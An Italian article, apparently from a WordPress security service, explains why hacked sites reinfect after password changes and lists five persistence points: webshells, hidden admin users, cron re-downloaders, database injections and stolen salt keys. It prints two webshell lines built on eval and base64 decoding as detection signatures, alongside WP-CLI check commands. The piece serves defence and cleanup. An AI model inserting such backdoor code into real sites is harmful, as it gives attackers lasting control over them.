Hai cambiato tutte le password e il sito si è reinfettato? Il problema non sono le password

È la telefonata più frequente che riceviamo: "Ho pulito i file, ho cambiato tutte le password, e tre giorni dopo il malware era di nuovo lì. Come è possibile?"

È possibile perché la password è un confine d'ingresso, non un meccanismo di permanenza. Un attaccante serio non vuole riconquistare il tuo sito ogni volta: costruisce una porta secondaria che ignora completamente il sistema di login. Cambiare le password davanti a una backdoor è come cambiare la serratura della porta principale mentre qualcuno vive nel seminterrato.

Anatomia dei cinque punti di persistenza

Quando analizziamo un sito reinfettato, cerchiamo in questi cinque posti, in quest'ordine.

1. Webshell nei filesystem

File PHP con nomi banali (wp-conflg.php con la L al posto dell'I, cache.php, session.php) sepolti in wp-includes, wp-content/uploads, o nelle directory dei temi. Alcuni esempi reali di firme che troviamo:

// eval-basedo, offuscata
eval(base64_decode($_POST['z0']));

// create_function rimossa dal core ma ancora viva nei plugin vecchi
$f = create_function('', base64_decode($code)); $f();

Il test rapido: wp core verify-checksums elenca i file del core modificati; per plugin e temi serve un confronto con i sorgenti originali. Un webshell può vivere anche solo 2 KB in mezzo a 40 MB di upload.

2. Utenti amministratori fantasma

L'attaccante crea un utente admin con nome anonimo. I casi furbi nascondono l'utente manipolando la query degli utenti admin (hook su pre_user_query nel tema), così nella schermata Utenti sembra che tutto sia normale. Il controllo affidabile è da WP-CLI:

wp user list --role=administrator --format=csv

e confronto manuale con ciò che ti aspetti. Conta gli amministratori a memoria: se il numero non torna, c'è un problema.

3. Task pianificati (cron)

WordPress ha un cron interno (wp cron event list) e il server ha il suo crontab. Entrambi possono ospitare un task che ogni notte riscarica il malware da un server esterno se non presente. È il motivo per cui tante pulizie "manuali" falliscono: si cancellano i file infetti, ma il ricaricatore automatico li rimette al posto giusto alle 3 di notte.

4. Database contaminato

Il database è il punto cieco di chi fa pulizia solo sui file:

• autologin backdoor: un utente con chiave di sessione preimpostata nella tabella users/meta
• malware negli option value: script iniettati dentro widget attivi, opzioni tema, hook memorizzati
• redirect nel .htaccess rigenerato: alcune famiglie scrivono regole di redirect mobile che WordPress stesso ricrea se la causa a monte (plugin o tema infetto) resta attiva

5. Sessioni e chiavi di firma

Come scritto sopra in sintesi: le salt keys di wp-config.php firmano i cookie di sessione. Se l'attaccante le ha lette, possiede cookie validi che sopravvivono alla rotazione delle password. Rigenerarle forza il logout globale di tutti, attaccanti inclusi.